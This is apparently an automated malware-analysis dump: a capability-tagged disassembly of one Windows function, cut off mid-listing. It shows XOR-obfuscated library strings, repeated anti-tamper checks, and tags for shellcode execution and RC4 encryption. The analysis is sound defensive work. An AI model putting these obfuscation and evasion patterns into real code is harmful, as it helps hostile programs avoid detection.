Function at 0x14000e208
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14007ce30
sub rsp, rax
mov rax, qword [0x1400ce700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x1e]
movabs r13, 0xcce3b300bd1c137e
mov r12d, 0x10bb9601
cmp rax, r12
jne 0x14000e2ff
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e2df
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e2df
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e2ff
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov ecx, r12d
call fcn.140003834
mov rax, qword gs:[0x1e]
mov ebx, 0xa725903
mov edi, 0xbbd1e76
cmp rax, r12
jne 0x14000e3c8
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e3a8
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e3a8
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e3c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
mov r15d, 0x1d2e7ffe
cmp rax, r12
jne 0x14000e478
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e458
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e458
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e478
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov ecx, r12d
call fcn.14000d778
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000e52a
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e50a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e50a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e52a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000e5e3
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e5c3
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e5c3
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e5e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
lea rdx, [0x1400c3700]
lea rcx, [rbp + 0x998]
call fcn.1400031f8
mov rdx, rax
mov ecx, r12d
call fcn.140009d54
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000e6ab
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e68b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e68b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e6ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000e764
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e744
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e744
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e764
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov dword [rbp + 0x90], 0xb355a3db
mov dword [rbp + 0x94], 0xeead0972
mov word [rbp + 0x98], 0xe0
xor r14d, r14d
mov edi, r14d
lea esi, [r14 + 1]
mov r15d, 0xa255647f
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14001d95c
xor al, dil
mov byte [rbp + rdi + 0x90], al
add rdi, rsi
cmp rdi, 9
jb 0x14000e791
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1e]
cmp rax, r12
mov r15d, 0x1d2e7ffe
jne 0x14000e889
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e869
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e869
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e889
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000e933
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000e913
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000e913
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000e933
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov dword [rbp + 0x1f0], 0xf152f42
mov dword [rbp + 0x1f4], 0x31e68b90
mov dword [rbp + 0x1f8], 0x824d6f74
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
mov r15d, 0xa255647f
mov qword [rsp + 0x20], r15
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14001d5fc
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
add rdi, rsi
cmp rdi, 0xc
jb 0x14000e962
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x1e]
cmp rax, r12
mov r15d, 0x1d2e7ffe
jne 0x14000ea6b
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0xbbd1e76
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ea4b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ea4b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ea6b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000d9d4
test eax, eax
jne 0x14000ed00
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400a6690
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000eb80
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400a6690
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0x323c3758
mov word [rbp - 0x6c], 0xad
mov r15d, 0xa255647f
mov qword [rsp + 0x20], r15
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14001d8f0
xor al, dil
mov byte [rbp + rdi - 0x70], al
add rdi, rsi
cmp rdi, 5
jb 0x14000eaf4
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], esi
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14001d2af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000eb86
mov r15d, 0xa255647f
mov word [rbp - 0x80], Ordinal_143
mov qword [rsp + 0x20], r15
mov r9, rsi
xor r8d, r8d
mov dl, 0x8b
lea rcx, [rbp - 0x80]
call fcn.14001d7b0
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14000d854
mov rbx, rax
movdqa xmm0, xmmword [0x1400c3f90]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400c3f40]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xb71c678e
mov dword [rbp + 0xc1c], 0x312e5b31
mov dword [rbp + 0xc20], 0x8194794a
mov word [rbp + 0xc24], reloc.WLDAP32.dll_Ordinal_60
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14001d884
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
add rdi, rsi
cmp rdi, 0x2d
jb 0x14000ec04
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14001e8d4
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14001ea94
lea rcx, [rbp + 0x9d8]
call fcn.14001e3ec
lea rcx, [rbp + 0x9b8]
call fcn.14001e3ec
movdqa xmm0, xmmword [0x1400c4140]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x50
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14001d3dc
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
add rdi, rsi
cmp rdi, 0x11
jb 0x14000ec9c
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.14001e040
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000edaa
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ed8a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ed8a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000edaa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000ee5a
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ee3a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ee3a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ee5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000ef04
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000eee4
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000eee4
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ef04
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000efbf
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0xbbd1e76
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ef9f
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ef9f
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000efbf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000f069
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f049
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f049
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f069
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
xor ecx, ecx
call fcn.140084904
mov rbx, rax
mov word [rbp - 0x7c], Ordinal_211
mov r13d, 0xa255647f
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0xd0
lea rcx, [rbp - 0x7c]
call fcn.14001d7b0
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x60], 0x33ed2c17
mov word [rbp - 0x5c], 0x78f4
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14001d66c
xor al, dil
mov byte [rbp + rdi - 0x60], al
add rdi, rsi
cmp rdi, 6
jb 0x14000f0b1
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.140087de4
mov rax, qword gs:[0x1e]
cmp rax, r12
movabs r13, 0xcce3b300bd1c137e
jne 0x14000f1ab
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f18b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f18b
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f1ab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000f255
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f235
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f235
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f255
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov ecx, 2
call fcn.140084904
mov rbx, rax
mov word [rbp - 0x78], Ordinal_217
mov r13d, 0xa255647f
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0xd5
lea rcx, [rbp - 0x78]
call fcn.14001d7b0
mov byte [rbp - 0x78], al
mov byte [rbp - 0x77], r14b
mov dword [rbp - 0x38], 0x52cfc231
mov dword [rbp - 0x34], 0x24210f
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14001d818
xor al, dil
mov byte [rbp + rdi - 0x38], al
add rdi, rsi
cmp rdi, 7
jb 0x14000f29c
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.140087de4
mov rax, qword gs:[0x1e]
cmp rax, r12
movabs r13, 0xcce3b300bd1c137e
jne 0x14000f396
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f376
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f376
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f396
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000f453
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0xa725903
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0xbbd1e76
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f433
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f433
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f453
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov ecx, esi
call fcn.140084904
mov rbx, rax
mov word [rbp - 0x74], Ordinal_217
mov r15d, 0xa255647f
mov qword [rsp + 0x20], r15
mov r9, rsi
xor r8d, r8d
mov dl, 0xd5
lea rcx, [rbp - 0x74]
call fcn.14001d7b0
mov byte [rbp - 0x74], al
mov byte [rbp - 0x73], r14b
mov dword [rbp - 0x30], 0x52cfc231
mov dword [rbp - 0x2c], 0x24210f
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14001d818
xor al, dil
mov byte [rbp + rdi - 0x30], al
add rdi, rsi
cmp rdi, 7
jb 0x14000f497
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x74]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.140087de4
mov rax, qword gs:[0x1e]
cmp rax, r12
mov r15d, 0x1d2e7ffe
jne 0x14000f58d
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f56d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f56d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f58d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
mov ebx, 0xa725903
cmp rax, r12
jne 0x14000f64c
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0xbbd1e76
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f62c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f62c
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f64c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
movdqa xmm0, xmmword [0x1400c4100]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400c4010]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400c4160]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x68c4d521
mov dword [rbp + 0xd4c], 0x320a03ed
mov dword [rbp + 0xd50], 0x4ad58138
mov word [rbp + 0xd54], 0x3a80
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
mov r13d, 0xa255647f
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14001d744
xor al, dil
mov byte [rbp + rdi + 0xd18], al
add rdi, rsi
cmp rdi, 0x3e
jb 0x14000f6b4
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.14000309c
mov rax, qword gs:[0x1e]
cmp rax, r12
movabs r13, 0xcce3b300bd1c137e
jne 0x14000f7af
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f78f
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f78f
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f7af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000f859
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
